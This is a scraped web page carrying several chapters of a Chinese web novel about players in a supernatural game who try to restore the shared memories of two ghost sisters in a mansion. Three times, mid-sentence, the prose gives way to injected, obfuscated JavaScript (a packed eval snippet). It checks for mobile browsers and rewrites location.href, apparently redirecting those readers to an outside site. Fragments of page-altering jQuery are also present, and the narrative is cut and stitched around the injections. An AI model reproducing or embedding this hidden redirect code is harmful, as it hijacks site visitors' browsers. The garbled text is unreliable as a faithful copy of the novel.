——想进别墅更是瞎扯淡,兰迪一见到别墅走得比谁都快。 敢糊弄游戏boss,看起来还是已“觉醒”的boss,祁晚这女人真是胆大包天。 但瞎编的话显然很有用,格斯塔的表情看似没怎么变,但柳州与敏锐地察觉到了一丝无助。 不可能——格斯塔几乎有些迷茫起来,在共享记忆的时候,她是刻意剥离了“她在别墅里”这一信息的。 兰迪即便是想进别墅,也只可能是“想回家看看”,而绝不会是为了见她。 更何况兰迪不可能想再见她。 她做了不可原谅的事。 曾经的她,以为死亡就是尽头,什么爱什么恨不可原谅刻骨铭心都不复存在。谁知上天保佑,或者说恶魔诅咒,她们死亡之后的人生竟仍在继续。 于是句点抹去,一切重启。已经打上“end”的剧情居然延续,她们的一切都可以重来。 可她没有勇气面对。 她不敢原谅自己。 祁晚还在说话:“如果您觉得可能会有无法承担的影响——我们来不就是帮您解决这个事的吗?” 格斯塔低下头,不语。 祁晚不再继续劝诱,她觉得让她自己想想。 她们想知道的东西太多,而且了解得越深入越好。想获得尽量多的信息,就必须要格斯塔自己想说才行。 秋原不太听得明白祁晚这是在干什么,人类的语言艺术比光民之间的交流复杂得多;柳州与也瘫得如一条死了三天的鱼。她有点无聊,看向自己身后的窗户。 窗外月色明朗,照得花园里一片光彩熠熠,喷泉的水珠在月光下飞舞,映衬着花叶的颜色……秋原觉得那一瞬间的折射当真是好看极了。 藤椅上坐着兰迪,这是秋原第一次亲眼见到兰迪,那头金发也是真的耀眼,特别…… 特别…… 秋原检索了一下成语库。 哦,对,摄人心魄。 两遍纠结了一下,她眼神一亮,将自己的头发变成了那一刻水滴折射的颜色,幻彩而透明,挑染全换成兰迪的金色。 她兴冲冲地扑到柳州与面前,“好看吗!” 柳州与半死不活地睁眼。 祁晚看似正在等待格斯塔的回复,其实一直往那边瞥。 柳州与跟条死了三天的鱼似的,居然也能把眼睛睁得这么大,真是难得……她顺着柳州与的目光看过去。 ——我的个老天奶啊!!! 秋原又哪弄来的颜色,这也太炫了? 发丝的质感如水晶般剔透,折射率非常精彩,万花筒来也不过如此。其间夹杂的挑染像意外射入水晶洞穴的阳光,美得令人震撼。 根据她的经验,秋原的头发颜色都是就地取材,可是这屋里暗得人眼要瞎,窗外也全是灰雾,哪来的这么炫目的颜色? 白天在花园里的时候,提取到这个波长的颜色倒还有可能,现在她哪来的……花园? 祁晚方才一直蹲着,被格斯塔挡住,此时偏头朝外看去。 窗外夜空一片明朗,月色皎洁明亮。 不是……灰雾呢?雾呢? 柳州与颤颤巍巍地抬起手,抖得像偏瘫了三年。 她比了一个偏瘫三年的大拇指,配上五年没吃饭的无力嗓音,表达出了百分之一百二的赞赏,“好……看……” 秋原便笑起来,“兰迪在外面呢,她的颜色真好看,我跟她学了点。” 柳州与半死不活地点头:兰迪确实是个毋庸置疑的美人,那头金发令人印象深刻。原来秋原挑染的那点金是从她那来的,难怪好看。 毋庸置疑这方面,祁晚其实也是,但……柳州与半死不活也没妨碍叹气——她有时候真希望能把祁晚那张脸安到别人身上。 干点美女该干的事吧! 秋原又回到窗户边看兰迪,她想法变了,想把自己的头发全换成兰迪的金色。然而看了一会,她不明原因地困惑起来。 然后她绕过床,来到了格斯塔和祁晚面前。 祁晚眼看着格斯塔就要开口,秋原一来格斯塔又闭嘴了——她真心想让秋原这胎神别闹。 秋原俯下身,看着格斯塔,问道:“你的精神力为什么会在兰迪身上?” 格斯塔猛地抬起头。 祁晚也震惊了,她倒是有所猜测,但这是可以直接问的吗? 秋原还在困惑,“一样的精神力怎么会有两份?啊,不对……兰迪身上的越来越弱了。” 一听这话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她的思绪愈发模糊,想起以前,她经常这样……但像现在这么严重的次数没有很多。 最严重的有三次:第一次是在听到父母的死讯时;第二次是在看到日记,得知格斯塔并非她的亲姐姐,还怂恿了父母离开时;最后一次……是在她死前,格斯塔握着匕首,扎进她的胸口。 那一刀,那么坚定有力,她都来不及问问她,为什么? 以前,不管严重与否,格斯塔都会及时来到她身边,每一次都是。格斯塔随身带着那种从遥远的东方采购来的药物,担忧地缓缓喂她喝下去。 靠着这药,她生活得还算正常。 可是后来格斯塔愈发忙于家族事务,回家的时间也愈发少,于是有时喂她药的人就变成了佣人。 她用药的次数越来越多…… 直到最后。 她那颗挣扎的一辈子的心脏终于被一刀洞穿。 而现在,在她死后的此时,病痛又一次袭来。她身边却没有药,没有佣人,也没有格斯塔了…… 如同一朵哀然委地的花,她倒在地上,身体蜷缩起来。 她倒下的动静惊落了架上的紫藤花,花序连绵落下,为她盖上了一层花毯。 她倒下的地方,一滴露珠落下,顺着草叶流进了土壤。 51. 往昔(4) 格斯塔的故事比兰迪的要简短许多。 一切症结顿时明了,雷铭一直想搞清的“格斯塔不愿意恢复记忆”的原因也知道了。 但反而更叫人沉默了。 两人共享一份记忆,兰迪健康强大时格斯塔必失忆且虚弱;而格斯塔恢复记忆时,兰迪的样子也非常不容乐观。 除了虚弱到动弹不得的柳州与,其余三人都趴在窗口。 兰迪倒在草地上,身体是半透明的,祁晚感觉应该不是错觉,就格斯塔说话的这一小会,她的身体又透明了一些。 要不是月色还算明朗,她都快看不见兰迪了。 可能是疼了,下意识的;也有可能是冷了,有意识的,总之兰迪把自己蜷缩了起来。 她站着时跟祁晚差不多高,穿着华丽繁重的裙装。如今蜷缩起来,才让人看出来,她其实非常单薄……瘦弱到不可思议。 祁晚一拳能打五个她…… 白日时,兰迪金发耀眼、举止优雅、神色骄傲、性格跋扈——举手投足都让人觉得:她生来就该被人捧着,站在阳光下。无论多少目光都该聚集在她身上,她耀眼得像神的女儿。 跟现在这个虚弱到透明的看起来简直不是一个人。 神的孩子失去生机,变成半死不活的亡灵,那不是什么让人愉快的事,更何况她不只是看起来半死不活,好像是真的要死了。 连秋原这小外星人的脸上都带了点遗憾——她觉得兰迪没有之前好看了。 祁晚悄悄瞄着格斯塔的神色。 ——唯独这个最该痛心的人看起来并不难受。 明明刚才还那么着急地往窗边跑……现在又这么平静……她有点整不明白这位门罗家家主在想什么了。 格斯塔短暂的故事只提及了死后,生前的事一点没提——祁晚想到了兰迪的故事中疑点最大的一处。 你非得捅死人家干啥呢? 一群人就这么静静地看着虚弱的兰迪,半晌无人说话。 秋原自己在边上不知道在捣鼓什么。 祁晚思忖着:她现在该问点什么才比较关键? 按格斯塔的说法,她恢复记忆的时间不会很久。等她再度失去记忆,兰迪自然会恢复——估计是因为这个才不着急。 而等兰迪陷入虚弱,格斯塔就会短暂地找回记忆。 玩家本场游戏的胜利条件是【找回亡灵所失去的】,现场如今有两个亡灵,胜利条件并没有明确指出要找的究竟是谁的。 ……从目前的情况来看,应该是都要找回。 毕竟,如果只需要找回其中一方的,那根本就没必要把她们这堆玩家搞过来。 面对这一系列信息,祁晚的第一反应是懵,第二反应是愁,然后开始思考。 记忆只有一份,在两人之间循环——分成两半肯定不行,会导致两人的状态都不完整,谈不上找回;单独留在一个人身上就更不行了,那不符合胜利条件。 所以该怎么办呢…… 祁晚思考的时间并不长,月色下,花园中慢慢地起了些雾——雾的形态很熟悉,是先前能彻底蒙住她们视线的灰雾。 格斯塔自己先开了口,神色异常祥和宁静,道:“这些记忆马上要回到她身上去了。” 也就是说她马上就要失忆,难怪这雾又来了。 看来并不是花园中起雾,而是窗前起雾了。 格斯塔再次变得温和,“你们还有什么想问的吗?尽快问吧,我撑不了多久了。” “我是想维持现状,但既然你们来了,那肯定就做不到了……接下来还能怎么办我也没什么想法,干脆就交给你们……” 大致问题都已经明了了,接下来无非就是想办法解决这个“记忆只有一份”的问题。 就有一点还不清楚,祁晚道:“包在我们身上!那个,跟我们一起还有一个男的,他现在……” “对你们来说这里是游戏吧。”格斯塔道:“我记忆恢复时想起来了记忆操作的方法。我从他身上拿走了一部分记忆,然后让他走了……他很弱,无法反抗我,现在应该淘汰了。” 可怜的雷铭,要不是第一个被boss找上,估计不至于输得这么快。 祝他下一场游戏顺利吧。 “不过要感谢从他身上拿到的记忆,不然我都撑不住跟你们说到现在……”格斯塔的语速越来越慢,她的身体跟她话音最后一个字一起落地。 祁晚眼疾手快地接住了她。 就在她倒下的那一刻,整个窗外再度被灰雾蒙住。 祁晚将人打横抱起来放到床上,“雷铭淘汰了……算了,先不考虑他,他走了咱们也得赢,大话也吹出去了,得快想办法……” 放下格斯塔,她顺口呼唤秋原,“秋原,你有没有什么办法,或者看出来什么了也行……秋原?” 如今屋里只剩三个人,秋原不见了。 柳州与颤颤巍巍地抬起手,“她刚才,走了……” 就在灰雾蒙住窗户前的一瞬间。 祁晚:“……” 祁晚深吸一口气,努力保持微笑,“算了……算了,她爱去哪去哪吧……”然后她问柳州与:“只能靠咱俩了,你现在能起来了吗?我扶你一下?” 柳州与自己支撑着坐了起来,“我感觉我的恢复速度比之前快一点了,不用扶。哎,我感觉也没事,反正秋原丢不了。” 然后她看着暂且昏迷的格斯塔,说出她方才抓住的亮点,“那个,你刚才注没注意她刚才说的?‘从雷铭身上拿到的记忆’……从玩家身上拿的?我没听错吧?” 祁晚一愣,她光想着雷铭着老倒霉蛋又第一个被淘汰的事了。 柳州与继续,“那是不是对她来说,从陌生人身上拿到的能量也可以化为己用?是这个意思吧?” 祁晚彻底忽略某个倒霉蛋,顺着柳州与的思路走下去,“啊,她可以——那兰迪那边是不是也行?” “还有。”柳州与道:“既然雷哥的可以,那咱俩的也行吧?” “应该不是随便就能用。”祁晚的脑子飞速运转起来,“应该需要共同记忆?她刚才说的也是拿走了一部分……拿走的是相同的那一部分?” 柳州与点头,“应该是了。” “可是她跟雷铭能有什么相同记忆?雷铭跟咱们一样都是玩家,跟她没有什么共同经历吧?” 柳州与的恢复速度确实有所长进,现在已经能站起来了,她晃晃悠悠地站起来,道:“有啊。” 祁晚:“什么?” 柳州与一一细数起来,“雷哥一开始就在别墅里,跟格斯塔应该有一点短暂的共同经历……而且我觉得对物体的记忆也算。” “比如房间的构造?物品的形状、摆放位置,甚至颜料的气味这些……秋原还跟我还说过,一楼有一间画室。她一开始进来就在那,雷铭也是一开始游戏就刷新在那,啊……吃饭的时她跟我说的,那会你没听。” “我感觉玩家的刷新地点不是随机的。” 画室,毫无疑问,里面一定有很多画。 祁晚想起,她跟秋原一开始刷新在地下画廊,那里也是画。 在兰迪与格斯塔这两人的经历里,画是非常重要的东西,以至于在死后的世界里也到处都是。 祁晚感觉自己抓住了关键线索——这么多的画是不是跟她们的记忆有关联? 柳州与走路的姿势依然很无力,轻飘飘的像是踩着棉花,“咱们得去趟画室……兰迪不还给你讲故事了么?我记得有本日记,在书房,咱们也得找来,肯定有用。” 祁晚迅速将格斯塔放到枕头上并盖好被子,然后单手拎起柳州与,“还有地下画廊——这样,你去书房,我去地下画廊。” “咱们把东西都集中在一楼画室,然后想办法联系秋原,我感觉她去找兰迪了,但愿她别挨揍……想多了……日记就在书房,应该也不算难找……你现在能行吗?” 柳州与被祁晚拖着下楼,愈发气若游丝,“能……行……” …… 花园。 兰迪依然倒在草地上,只是姿势已经舒展开,身体看起来也不那么透明了。 秋原蹲在她身边,看着她。 时间过去了一些,月光的角度有所变化。方才还在靠东的天空,现在已经悬在她们头顶了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15406343|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 像舞台上的聚光灯,不偏不倚地打在她们身上。 月色形成的聚光灯下,兰迪缓缓睁开了眼。 一双颜色极浅、近似琉璃的眼睛看着她——是个女孩,她之前见过,是个她也必须要承认的小美人,只是不知道为什么就消失了。 而且再度见到,这女孩头发的颜色怎么变了?还跟她一模一样? 不管从哪里看都很不对啊? 兰迪吓了一跳,蹭着草地后退,“什么人……谁?” 秋原露出一个灿烂的笑:“我叫秋原。” 兰迪:“……” 倒不是在问这个。 “果然呢,精神力回到你身上了。”秋原沉浸在自己的思路中无法自拔,“这个简单呀。反正是一样的,复制粘贴就好了嘛……你不要动哦,我要复制一份你的精神力。” 然后她带着这份复制好的精神力回去给格斯塔,两人都有了,问题不就解决了么? 再然后游戏胜利,她就可以许愿回家,跟游戏的构建者道个歉……再或者,她如果想要见一下方方应该也行? 沉浸在美好的幻想中,她倾身向兰迪,“你别躲嘛。” 你说不动就不动吗?哪来的离谱孩子?兰迪恢复速度飞快,且恢复后身手居然很矫健,从地上弹起来就跑到了花架的另一边。 一瞬间,花园里狂风大起,乌云席卷,蒙住月色,涌动的乌云里凝聚起电光。 她速度很快,狂风吹起的同时,一道粗如手腕的闪电打在秋原方才站立的地点。 一秒后,刺目的电光消散;又几秒后,震耳欲聋的雷声响起。地面剧烈的震颤中,藤桌上的烛台自动亮起。 火光微弱,即使有玻璃罩罩着也脆弱地跳动着,借着火光,兰迪扫视着她眼前的地面,松了口气。 不管这莫名其妙的人是谁,现在都消失了。 她安全了。 于是她驱散乌云,月色再度撒下;停下狂风,被吹落的花瓣和草叶如同时光倒流,都回到了自己原本的位置。 花园里迅速恢复平静祥和,如同什么都没发生过。 兰迪满意地笑起来。 她偶尔会陷入虚弱状态,但不会很久,她总是很快就会恢复。而只要躲过那一小段时间的虚弱状态,她就还是这里的主宰。 这份力量是怎么来的不重要——她理应得到一切。理应如此,一直如此。 有了月光,烛台就不需要了——她这么想着,顺手吹灭烛火,将它放回了藤桌上。 她刚坐下,被她吹灭的烛火再次亮起。 一个只有指尖大小的光团从烛火中飞出。 这光团是明亮灿烂的金色,像她的头发,很好看……但,哪来的? 随后,无数光团从花蕊中,喷泉的水花中飘出,如同月色下的金色萤火虫群。 像星河落入凡间,也像星星从花里生长,美得令人窒息。 兰迪知道自己应该保持警惕,但还是忍不住沉迷其中——有一年她的生日,父母就像这样买来了萤火虫。 那一年她九岁,跟格斯塔去图书馆玩,图书管理的奶奶送给了她们一本童话书。她们一起看完,她当时特别向往童话里看见的场景。 现在,跟她记忆里的那幕一模一样。 再然后,“萤火虫群”汇聚在一起,成了一个人形。 秋原再次出现在她面前,“都说了你不要动嘛,我刚复制了一半……你这样打我我也很为难。”然后她直接按住了兰迪,有点埋怨,“别动,都说了别动,你好烦……很快就完了。” 被她按住,兰迪真的动弹不得,满眼的怀念变成了惊恐,一时说不出话来,“你……” 而秋原皱起了脸,“你这里的记忆不全,好多逻辑接不上……你自己发现不了吗?还是对你来说够用就行啊?” “这样可不够完成游戏的……你怎么还没有我聪明……” 兰迪的惊恐转为困惑,“什……么?” “说个最简单的,这本童话书是你跟格斯塔一起看的吧。”秋原收回花园中剩余的光点,“你爸妈又没看过,你怎么不想想他们是怎么知道的?” 52. 肖像(16) 地下画廊。 祁晚一幅一幅地把画往下摘,摞起来,然后往楼上搬。 为了不破坏到这些画,祁晚一次不敢搬太多。她第一次只搬了五幅,在画室里随便找了个地方放下。 画室里果然也全是画,只是内容就不止兰迪的生日贺礼了,还有很多她们的日常。 作为家主,格斯塔并不需要卖画赚钱,因此她的画没有一点讨好市场的因素,画的全是她自己想画的——基本全是兰迪。 这里是格斯塔的私人空间。 先前祁晚就有点奇怪,为什么地下画廊的肖像是从35岁开始的呢? 先前没来过画室,所以现在才知道,35岁前的都在画室里。 35是一个节点,目前还不知道这个节点发生了什么;另一个节点是17岁,这一年发生的事情很明确,是门罗夫妇去世,而17岁前的画作画室里也没有。 祁晚猜测,17岁前的画作应该不是由格斯塔,而是由她们的母亲完成的,而那时画里的主角应该也不只有兰迪一人。 其实很多画家都会画自画像,但格斯塔所有的画都不会画自己,很奇怪,不知道她是怎么想的。 暂且打断自己的思考,祁晚来到书房。看了一眼正在寻找隔间的柳州与,“怎么样?” 柳州与将书架标了序号,挨个敲打着听声音找空腔,如今已经敲打到了第四个,“还没找到……确定有隔间吗?你不会记错了吧?” 祁晚斩钉截铁,“没记错,肯定有,就在书房里。” 柳州与:“那我再找找——你去忙你的吧。” 确认她确实没什么问题后,祁晚往地下走去。 还有很多画要搬呢。 …… 复制完自己想要的部分后,秋原转身离开。 她来到喷泉边,说是到了旁边,其实离着八丈远。又犹豫了好半天,她终于伸手沾了一点水。 水沾到指尖的那一刻,秋原打了个寒战。 打寒战是人类的身体才会有的本能,她的恐惧以人类的表现形式表现出来就是这样。 啊,对哦——她现在使用的是人类的身体,不是光民的,所以不会被水影响——打完寒战,秋原醍醐灌顶。 虽然是很可怕的东西,但她现在不用怕啊! 如此想着,秋原雀跃起来,双手掬起一捧水,走到她印象里的“对称轴”边。 一捧水泼上去。 兰迪直到此刻才反应过来,她快步过去想叫住秋原,她还有事情想问,“喂!你是叫秋原……”吗? 秋原看着玻璃上的水珠十分满意,也根本没在意兰迪在身后叫她,兀自消失了。 兰迪难得被人如此忽视,呆在原地。 月头开始西斜了。 …… 祁晚正将第二摞画放在画室角落里。 格斯塔一失去记忆,整座别墅就被灰雾蒙起来。光线昏暗,只能开灯。她看不见屋外,也听不见屋外的动静,不知道刚才外边又惊天动地地打了一架。 她只觉得自己身后猛的一闪,好像是灯炸了似的那么亮,然后—— “祁晚!”她身后传来秋原的声音。 这小外星人蹦蹦哒哒地跑过来,道:“我复制到那部分相同的精神力了——格斯塔在哪里?我去给她。” 祁晚放下画,脑壳像生锈了十年的齿轮,一时没反应过来——这小外星人说什么? 半晌,祁晚:“……啊?” 秋原滔滔不绝:“但是兰迪那里的不全,我感觉是格斯塔一开始给她的时候就没给全,应该是故意的——我去找格斯塔问问。” 门外传来虚浮的脚步声。 柳州与抱着好几本日记进来,道:“我找到日记了,但是有好多本,书房里还有,我一次搬不完。除了兰迪,其他人都有在写,这家人怎么都这么爱写日记我真是服了……秋原?!” 秋原将自己跟祁晚说过的话又重复了一遍。 这下柳州与也愣了。 这么快?兰迪居然会这么配合?早知这么容易,她们还麻烦个什么劲? 她下意识地指了指楼上,回答道:“格斯塔她在咱们的那个卧室里躺着,应该还没醒……” 秋原:“嗯!”然后兴冲冲地冲上楼。 柳州与:“……” 祁晚:“……” 放下搬来的日记,柳州与道:“是这就解决了的意思吗?” 外星人恐怖如斯,效率当真奇高无比。 祁晚:“我觉得没有吧……她不是说兰迪那的记忆不全吗?不全就不算找回全部记忆,我觉得解决不了。” 柳州与:“不全指的是格斯塔当初给兰迪的那部分不全,格斯塔自己的记忆是全的,秋原现在去给她补上精神力,她就什么都不缺了——胜利条件达成了啊?” 祁晚:“……好像是这么回事。” 柳州与:“那咱俩别忙活了呗。” 祁晚也不再整理画了,感觉自己的常败将军生涯终于要到此为止,双手合十,闭眼,感动,“感谢游戏构建者送来的外挂。” 柳州与:“不是……又说啥呢?” 祁晚将自己在地下初遇秋原时的情形复述了一遍。 她刚到这个游戏的那个情况可真是相当刺激……秋原简直像个lo裙美少女战士,跟游戏的构建者干了一架。 当时气氛那叫一个剑拔弩张,打斗场面电闪雷鸣火光冲天。没把她和画一起烧了她真是谢谢天谢谢地两位大神手下留情……还有那个特别惊悚的会说话的猴子,还有后续那一串信息量极大的对话。 柳州与听得目瞪口呆。 她并不记得自己是怎么死的,只勉强记得一点:自己应该是变成了丧尸,然而也没思考过怎么就爆发丧尸危机了——小说里不都这么写吗? 她更从来没想过自己为什么会进入这种游戏,只觉得这也是小说里理所当然的东西:“我的神呐——这么重大的信息,你怎么不早告诉我?什么构建者……那不就是主神吗?” 祁晚:“我也没时间说啊,现在闲下来了不就跟你说了吗?” “还真的有主神的存在啊!”柳州与已经听不见她说话了,整个人兴奋起来,“太蒂了!太厉害了!那祂构建这个游戏是为了什么呢?” 她越说越兴奋,“不会是人工智能统治地球吧?人工智能播撒病毒毁灭人类,然后把人类困在虚拟游戏里?那咱们的根本任务应该是推翻祂呀!我有目标了!” 祁晚:“我看你是有点小说看多了……” 她在小镇那个世界经历的比别人多,在狼羊游戏还摸到了少量的游戏bug,觉得这一切并没有柳州与想得那么简单。 这个游戏在失败这方面并不严酷。不仅不会死,还没有惩罚,无非就是一把不过再开下一把。也没有游戏次数限制,胜利奖励也给得很慷慨。 怎么看也不像什么要毁灭人类的家伙干的。 但胜利条件很苛刻,多数情况很难赢。 “很难胜利”这一点……祁晚垂下眼睫,想到了自己当初发现的“筛选”机制。 可能是根据苏醒时间或者别的什么条件,人们被分成“NPC”和“玩家”。NPC暂且不论,玩家与玩家之间,是不是还有什么筛选条件? 比如,会根据胜利次数给玩家分出等级?而因为游戏很难赢,所以胜利次数很快就会拉开差距? 而且NPC之间也有不同。 小镇里的NPC看起来都是普通人,都只是正常生活,没有什么游戏的概念。 李岚林身份成谜,她自称见到了管理者,还肩负着构建一个世界的责任。简直说不清她究竟是玩家还是NPC还是游戏boss。 现在的兰迪跟格斯塔更是莫名其妙,她们两个甚至不是因为丧尸危机死的。但看她们过于详实的经历,以及高度真实,一切都能对上现实背景的人生——她们肯定也不是虚构的NPC。 还有格斯塔的故事——她完全没提她是从哪学来的记忆操作的方法?也是从管理者手里吗? 管理者挑这些NPC做什么? 柳州与看她沉思了半天,忍不住问她,“你想什么呢?”表情好凝重。 祁晚本来也憋的难受,想着正好有人听,她干脆把她所有的猜测都说出来,柳州与还能帮她想一想。 祁晚开口,发出了一个猴里猴气的声音。 “我看你也是小说看多了。” 谁?! 祁柳两人悚然,朝着发声源看去。 不远处的台灯上蹲着一只长相很漂亮的小猴子。 ……猴子? 哪来的猴子? 柳州与声音打颤,“这该不会就是那个猴子?你刚才说的,会说话的那个?” 祁晚试图说点什么,但还是作罢,道:“……是。” 这个猴子为什么又出现在这里了? 小猴子一脸鄙夷。 天知道猴子是怎么做出鄙夷这个表情的——它道:“检测到复制了我才来的……怎么居然不是你们?把入侵者送进来不是让你们作弊的。而且还偷懒,好废啊你们。” 祁晚的火气有点上来了,这个猴子怎么这么损? “亏我还专门准备了教材。”小猴子鄙夷的表情未变,扔下什么东西,自己一个猴磨磨叨叨,“反正我拿来了,你们拿着拉倒,真的是……爱赢不赢。” 然后这猴扬长而去,穿过墙面,消失了。 留下二人兀自凌乱。 “它来干什么的?”柳州与指着桌上的绿色圆球,不敢碰它,“看起来好像那个引路的东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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引导者垂眸,默然不语。 明:“花姐?” 引导者握紧了拳头,微笑“她这个动不动就摆烂的习惯还真是一点没变啊。” 随后她隐去身形,一跃上院墙,远远地朝着画室里看——她有完全看见这里的一切的权限。 她看见:画室里,祁晚把柳州与摁在教材上——完全没有自己要学的意思。 但她什么都没说,只是兀自跳下院墙,离开。 明看着她的表情,很好奇——因为难得见引导者气成这样,问道:“到底怎么了?” 引导者:“没什么,走吧。” 能怎么了,给她气的! 祁晚这混蛋,差点丢掉她给争取的实验体名额也就算了,好歹还有多实验体计划兜底,不至于被踢出去。 ——现在她好不容易又给她争取了参与残缺精神体补全的实验,有了接触D级教材和来到世界中心的机会,她怎么还是摆烂不学? 真就烂泥扶不上墙吗这人? …… 离开格斯塔与兰迪两人的游戏地界,穿过传送门,一人一猴出现在世界树旁边。 树旁,主神正在闲逛,问道:“情况如何?” 引导者叹气,道:“能行。” “但不是靠祁晚吧。”主神一看她的表情就知道情况了。 引导者自暴自弃,道:“嗯,不出意外的话,最终完成者会是柳州与。” “嗯。”主神对此没什么反应,只是调出资料,“柳州与的情况跟管理者薇相似,操控力强,操控精度高,但精神力总量低,精神缺乏后遗症严重——这个没关系,可以练。” “祁晚,几乎没有什么学习能力……可惜了这么高的精神总量,确实没有什么额外价值。” “还有一个……雷铭。潜力是有的,但精神抗性太差,而且根本没有试他的机会,下一场再看。” 明一直觉得主神的操作很炫酷,于是一来就蹲在一边看,问道:“为什么没机会?” 主神:“运气太差。” 也不知道是雷铭倒霉,还是这人就是跟祂犯冲。每次祂一想试试他的能力,他就会第一个出局——摇骰子都能被摇出去,祂想想都觉得离谱。 再出现一次这种情况,祂干脆把雷铭也放弃掉算了。 这种跟人犯冲的倒霉蛋,硬拉进管理层也没什么意思,容易把整个管理层的运势都带坏。 世界树与主神心有灵犀地降下某个光球,主神便顺手调整了一下。 “下一场的试验人员,把祁晚去掉了。” “把她放进群杀副本。” 53. 往昔(5) 二楼。 秋原正将自己刚刚复制到的精神力输送给格斯塔。 很费力,她已经有点坚持不住了。 兰迪非常虚弱,所以支撑她自由行动甚至支配环境需要的能量非常多。好在格斯塔兰迪这两人的记忆重合度极高,所以可用的共享精神力也非常多。 秋原简直无法想象格斯塔是怎么从自己身上抽出那么多精神力去的——而且缺能量缺到那个地步,她都不敢想,格斯塔会一直处于一个多么痛苦的状态。 而且虽然一直那么痛苦……但格斯塔似乎并不在意。 她甚至想维持现状。 过了许久,这部分精神力终于输送完毕,秋原脸都白了。 对于人类来说这叫精神力或者记忆,对她来说这可是实打实的能量!她这一波都快把自己榨干了,这要是回不了家她可真就亏死了…… 如同幕布拉开,窗外的灰雾缓缓散去,月色入睡泻如房中。 银白色的月光下,格斯塔缓缓睁开眼。 秋原惊喜地看着她。 但格斯塔并不高兴。 她能感受到自己的状态,她现在力量充沛,记忆完整——每当这种状态出现,就说明兰迪肯定…… 于是她没管不知为何在她身边的秋原,一个人扑到窗边。 兰迪一个人站在花园里,望着画室的方向,不知道在看什么,表情有一点落寞。 没有倒下,没有失去意识,没有变透明——甚至没有一点变虚弱的征兆。 这是…… 秋原知道她看什么,道:“你们的问题无非就是精神力只有一份嘛,我从她那里复制了一份给你,现在你们都可以好好的啦~” 格斯塔这才有心看向这几乎可以说是救了她们的女孩。 秋原依然站在那里,脸色异常苍白。 她知道自己分给兰迪的是多么庞大的精神力,复制它们需要的量当然也同样多——她记得这姑娘叫秋原,居然能做到这种事吗? 然而不管她觉得多不可思议,秋原就是做到了。 想到这里,她有点自嘲。 ——幸亏没把玩家们都送走,不,应该说幸亏玩家们努力留下来,不然她可真是搬起石头了自己的脚。 秋原在等游戏胜利的播报。 然而等了半天,没有。 “果然是不全啊……”秋原喃喃,“你的记忆肯定是全的,但没通关。看来兰迪那里的不全也不行,那我把你的复制一份再给她……” 让她伸手向格斯塔,“好费能量啊……但为了回家……” 格斯塔退后两步,躲开了她。 秋原:“嗯?你不要躲啊?” 格斯塔微笑,“谢谢你,现在这样就很好。” 秋原:“可是,兰迪不知道所有的事情啊?” 格斯塔:“我真的很感谢你,但那些不是她该知道的东西。” 秋原还想说什么,突然发现自己居然动弹不了了。 格斯塔比兰迪强很多,她收起微笑,那个表情不怒自威,“我大概知道你是怎么从兰迪身上取到记忆的了——不要试图用同样的方法对付我,我没那么好对付。” 控制住秋原,格斯塔靠近她,也将手搭在她的肩上,温声道:“我实在不知道该怎么表达我的感谢,对于你们所有人的帮助我都很感谢……但请不要碰兰迪。不要这么做,也不要这么想。” “无论如何,我所决定的一切都是为她好,请不要干涉,拜托你也离开吧。” 看着格斯塔凑近她的模样。秋原突然想起,这个游戏的构建者也是黑色的头发。 ——怎么你们这群黑头发的人都这么不好对付? 她要回家!让她回家啊! 然而格斯塔一言不发,把她仅剩的能量也吸走了。 半分钟后,秋原看着格斯塔离去的背影陷入困惑。 ——这个人是谁?她为什么在这里? 她不是在猫咖打工吗?哦,对了,她还没找到祁晚。所以她为什么会在这个地方? 格斯塔回头看她,道:“一楼门没锁,院门也没锁,您直接出去就可以了。” 秋原不自觉地就听了她的话,身体开了自动导航似的往楼下走,“哦。” …… 祁晚在翻看日记——心说门罗家的人为什么这么热爱记日记?同时她把柳州与的手腕放在自己眼前,瞄着柳州与的蓝条。 精神力下降速度不快,但教材学习进度不慢——这姑娘果然比她强多了,未来可期。 至于她自己……虽然一瞬间就被抽成了20%,但奈何她恢复也快,现在已经又是100%了。 门罗家父亲的日记没什么可看,这人年轻时吐槽长辈,吐槽兄弟;年龄大了就吐槽友商,辱骂对家;除了追求门罗夫人的那一小段发情期像个文青,其余一切时期的记录都像未发育完全的反社会分子。 而关于他们为什么离开这件事,他并没有记载。 这份日记实在没什么价值……祁晚感觉自己快被他的戾气精神污染了。于是放下日记,开始看门罗夫人的。 相比之下,门罗夫人的日记要有价值多了。 —— 1941年1月1日,大雪 雪从半夜就下个不停,路没法走了。可是强尼说今天有一笔很重要的生意要谈,我们必须出门,于是我们很艰难地出发了。 当然,后来我们又回来了。雪太大,马车根本走不了,我们甚至是在仆人的帮助下走回来的。 想必对面也是这样,我们并不担心失去这笔生意。 我们走到门口时,有一个人影从我们家门口闪走。她翻过院墙,跳了出去,像只敏捷的黑豹。 强尼很生气,说仆人们为什么不看好,怎么能把这种人放进来,我让他不要骂人。毕竟今天这么大的雪,仆人们有所疏漏也正常。 那人看起来是个女人,我总感觉她很年轻的样子,这样年轻的女孩,不知道为什么会出现在这里,看起来并不像盗贼,我不想追究她什么。 走近后,我们看见了一个襁褓。 